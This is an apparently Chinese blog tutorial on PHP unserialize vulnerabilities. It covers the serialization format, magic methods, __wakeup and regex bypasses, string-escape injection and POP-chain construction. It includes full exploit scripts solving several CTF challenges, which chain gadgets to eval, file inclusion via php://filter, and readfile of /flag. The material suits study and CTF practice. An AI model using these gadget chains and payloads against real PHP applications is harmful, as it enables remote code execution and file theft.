PHP Unserialize

Fc04dB Lv4

# PHP Unserialize

# 什么是序列化和反序列化

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

# serialize 的特征

常见的序列化格式有

二进制格式

字节数组

json 字符串

xml 字符串

常见的数组样例

1
2
3
4
5
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

输出 a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}

1
2
3
4
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4

数据类型对应提示符

字符串:s

已转义字符串:S

整数:i

布尔值: b

空值:N

数组:a

对象:O

引用: R

关于非公有字段名称:

  • private 使用:私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
  • protected 使用: * 和字段名组合 \x00*\x00字段名

# 魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构 造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名 的方法可以作为 __constuct 调用但 __construct 方法优先
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__debugInfo() //在使用 var_dump, print_r 时会被调用
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类

# 反序列化绕过

# php7.1 + 反序列化对类属性不敏感

我们前面说了如果变量前是 protected,序列化结果会在变量名前加上 \x00*\x00

但在特定版本 7.1 以上则对于类属性不敏感,比如下面的例子即使没有 \x00*\x00 也依然会输出 abc

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

# 绕过__wakeup (CVE-2016-7124)

版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果执行 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}'); 输出结果为 666

而把对象属性个数的值增大执行 unserialize('O:4:"test":2{s:1:"a";s:3:"abc";}'); 输出结果为 abc

# 绕过部分正则

preg_match('/^O:\d+/') 匹配序列化字符串是否是对象字符串开头,这在曾经的 CTF 中也出过类似的考点

・利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)
・serialize (array (a) ) ; // a));//a));//a 为要反序列化的对象 (序列化结果开 头是 a,不影响作为数组元素的 $a 的析构)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

# 十六进制绕过字符匹配

可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Read
{
public $name;
public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}

$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符,我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过,构造以下:

'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

可以用下面 python 脚本将字符串转化为 Hex

1
2
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

# 利用‘引用’

对于需要判断两个变量是否相等时,我们可以考虑使用引用来让两个变量始终相等.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());

上面这个例子将 $b 设置为 $a 的引用,可以使 $a 永远与 $b 相等

# php 反序列化字符逃逸

# 情况一:过滤后字符过多

例如以下情形:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入 name=mao

image.png

如果此时多传入一个 x 的话会怎样,毫无疑问反序列化失败,由于溢出 (s 本来是 4 结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

image.png

那我们传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}

image.png

传入 name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";} 这一部分一共二十个字符
由于一个 x 会被替换为两个,我们输入了一共 20 个 x,现在是 40 个,多出来的 20 个 x 其实取代了我们的这二十个字符 ";i:1;s:6:"woaini";} ,从而造成 ";i:1;s:6:"woaini";} 的溢出,而 " 闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出 woaini
最后的;} 闭合反序列化全过程导致原来的 ";i:1;s:7:"I am 11";}" 被舍弃,不影响反序列化过程

# 情况二:过滤后字符变少

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入 name=mao&age=11 的结果

image.png

构造一下

image.png

简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是 age 序列化后的结果

s:3:“age”;s:28:“11”;s:3:“age”;s:6:“woaini”;}"

由于前面是 40 个 x 所以导致少了 20 个字符,所以需要后面来补上, ";s:3:"age";s:28:" 11 这一部分刚好 20 个,后面由于有" 闭合了前面因此后面的参数就可以由我们自定义执行了

# 利用不完整类绕过序列化回旋镖

当存在 serialize(unserialize($x)) != $x 这种很神奇的东西时,我们可以利用不完整类 __PHP_Incomplete_Class 来进行处理

当我们尝试反序列化到一个不存在的类是,PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储

我们于是可以尝试自己构造一个不完整类

1
2
3
4
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

这样就可以绕过了

更近一步,我们可以通过这个让一个对象被调用后凭空消失,只需要手动构造无 __PHP_Incomplete_Class_Name 的不完整对象

# serialize () 函数在处理 __PHP_Incomplete_Class 对象时所进行的特殊操作

unserialize () 在发现当前 PHP 上下文中没有包含相关类的类定义时将创建一个 __PHP_Incomplete_Class 对象。而 serialize () 在发现需要进行序列化的对象是 __PHP_Incomplete_Class 后,将对其进行 特殊处理 以得到描述实际对象而非 __PHP_Incomplete_Class 对象的序列化文本,而这里就包含了 将属性的描述值减一 这一步。
那么对象所属类的名称是否会发生替换,序列化文本中的 __PHP_Incomplete_Class_Name 是否会被自动删除以使得序列化文本中的属性个数描述值与实际相符呢?对此,请参考如下示例:

1
2
3
<?php

var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));

执行结果

1
string(69) "O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

结合前面观察到的种种现象,我们可以总结出 serialize () 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作(操作描述顺序并非 serialize 函数的实际操作顺序):

__PHP_Incomplete_Class 对象中的 属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。
__PHP_Incomplete_Class 对象的 __PHP_Incomplete_Class_Name 作为序列化文本中 对象所属类的描述值。若未从 __PHP_Incomplete_Class 对象 中检查到 __PHP_Incomplete_Class_Name 属性,则跳过此步。
__PHP_Incomplete_Class 对象的序列化文本中对 __PHP_Incomplete_Class_Name 属性的描述删去。若没有发现相关描述,则跳过此步。

关于 __PHP_Incomplete_Class 更详细的介绍 <PHP 反序列化漏洞:__PHP_Incomplete_Class 与 serialize (unserialize ($x)) !== $x >

# 对象注入

当用户的请求在传给反序列化函数 unserialize() 之前没有被正确的过滤时就会产生漏洞。因为 PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。

对象漏洞出现得满足两个前提

1、 unserialize 的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

比如:

1
2
3
4
5
6
7
8
9
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在脚本运行结束后便会调用 _destruct 函数,同时会覆盖 test 变量输出 maomi

# POP

# ———— 魔法函数 ———

我需要再次提出魔法函数并且需要细致的解释供我更加深刻的理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先
__destruct() //对象被销毁时触发(对象不再被引用(unset),脚本执行结束)(当存在__destruct时,头一般是他)
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据(比如访问private属性或者不存在的属性的值时)或者不存在这个键($this->str['str']->source)都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发(输出一个对象、属性,将对象或属性与字符串拼接,对对象或属性进行正则匹配)
__invoke() //当尝试将对象(属性)调用为函数时触发
__debugInfo() //在使用 var_dump, print_r 时会被调用
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类

会发现,我在很多魔法函数的触发方式的解释中对象后面都加了(属性),这与 php 官方手册和其他博客文章的解释有些许不同,在查找资料时产生了很多疑惑,比如我翻阅的其中一篇博客:

5fd161f2f08ca123a0c6ccd8f4cc17cd.png

原文说此处触发了 __toString 函数,可明明只是将属性当作字符串,

再比如同一篇文章的另一处:

28258fc1d508554e89f8f7d99d3855b1.png

触发了 __invoke 函数

在与小伙伴讨论之后,认为可以将属性看作对象

在弄清楚各种魔法函数触发条件之后就要开始构建 pop 链了

# POP 链

POP 链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后进行反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的 POP 链就显而易见了。CTF 赛中一般尾部就是 get flag 的方法,头部则是 GET/POST 传参

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct() // 1. destruct函数为pop链头
{
$this->source=$this->str;
echo $this->source; //输出变量,把类当作字符串,触发__toString
}
}
class Show
{
public $source;
public $str;
public function __toString() // 2
{
$content = $this->str['str']->source; //访问不存在的属性,触发_get
return $content;
}
}

class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){ // 3
return $this->getshell($this->params); //直接调用getshell
}
public function getshell($value) // 4
{
eval($this->params); //尾,输出
}
}
$a = $_GET['a']; //GET传参头
unserialize($a);
?>

先找链子的头和尾,头部明显是 GET 传参,尾部是 Uwant 类中的 getshell ,然后往上倒推, Uwant 类中的 __get() 中调用了 getshellShow 类中的 toString 调用了 __get() ,然后 Hello 类中的 __destruct() ,而我们 GET 传参之后会先进入 __destruct() ,这样子头和尾就连上了,所以说完整的链子就是:

1
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

# 例题

# newstarctf 2023 week3 | POP Gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 <?php
class Begin{
public $name;

public function __destruct() //对象被销毁时触发
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello"; //将对象当作字符串,可以触发__toString
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString() //把对象当作字符串时触发
{
($this->func)(); //把对象当作方法(函数),触发__invoke
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars) //调用不可访问的方法时触发
{
$this->obj->end(); //调用end函数
}

}

class Super{
protected $obj;
public function __invoke() //将对象调用为函数时触发
{
$this->obj->getStr(); //不存在getStr方法,触发__call
}

public function end() //错误的end函数
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end() // 正确的end函数
{
unset($this->handle->log); //handle->log不可访问,触发__unset
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var) //在不可访问的属性上使用unset()时触发
{
($this->func)($this->var); //可以构造执行系统命令,比如:system(ls /)
}
}

@unserialize($_POST['pop']);

由此可以构造出 POP 链子

1
Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

由于链子调用中成员属性有 private 和 protected,用 construct 方法去调用链子,最后再使用 url 编码绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func= $a;
}
}
class Handle{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}
$a = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($a));

稍微总结一下,POP 链的头一般是 GET/POST 传参引发 __wakeup , __construct , __destruct

结尾一般是输出敏感信息或者执行系统命令所在函数,即 GetFlag 的点

# [MRCTF2020]Ezpop1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

先找出可以 getflag 的点,在 Modifier 类中 append 函数有 include 函数可以文件包含,可以利用, __invoke 函数直接调用了 append ,在 Testlei 中 __get 将 p 作为函数调用,会触发 __invoke , 在 __totring 方法中 $this->str 赋予 test 类,在 test 类读取 source 变量,(因为 test 类中没有 source 属性,则是访问了不可访问的属性)则会自动调用 __get 魔术方法, __wakeup 函数将对象进行正则匹配,会触发 __toString ,而 __wakeup 在反序列化时会调用,可以当作 pop 链头,而尾时 include 函数,可以利用 var 构造 php 为协议获取 flag

pop 链:

1
Show:__wakeup -> Show:__toString -> Test:__get -> Modifier:__invoke ->Modifier: append

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; //构造php为协议获取flag
}
class Show{
public $source;
public $str;
function _construct(){
$this->source=$file;
}
}
class Test{
public $p;
} //1.将用到的类写出形成框架并表明类的属性(变量)
$a = new show();
$b = new show();
$c = new test();
$d = new Modifier(); //将用到的类实例化,用到几次实例化几次
$a->source=$b;
$b->str=$c;
$c->p= $d; //根据pop链将对象串联起来
echo urlencode(serialize($a)); //序列化头并url编码(在这个题中有protected修饰的属性,会有不可见字符)
?>
# 2021 强网杯 赌徒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

尾部可以看到 Room 类中有个 Get_hint() 方法,里面有一个 file_get_contents ,可以实现任意文件读取,我们就可以利用这个读取 flag 文件了,然后就是往前倒推, Room 类中 __invoke() 方法调用了 Get_hint() ,然后 Room 类的 __get() 里面有个 return $function() 可以调用 __invoke() ,再往前看, Info 类中的 __toString() 中有 Room 类中不存在的属性,所以可以调用 __get() ,然后 Start 类中有个 _sayhello() 可以调用 __toString() ,然后在 Start 类中 __wakeup() 方法中直接调用了 _sayhello() ,而我们知道的是,输入字符串之后就会先进入 __wakeup()

1
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint() 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

在构建 pop 链时,除 __construct 函数一般不需要写出, 变量的权限与源码保持一致,在串联对象时,需要与源码的对应关系保持一致,比如: $b -> file['filename'] = $c;

————END————

  • Title: PHP Unserialize
  • Author: Fc04dB
  • Created at : 2024-04-09 21:51:55
  • Updated at : 2024-08-28 14:46:41
  • Link: https://redefine.ohevan.com/2024/04/09/PHP-Unserialize/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments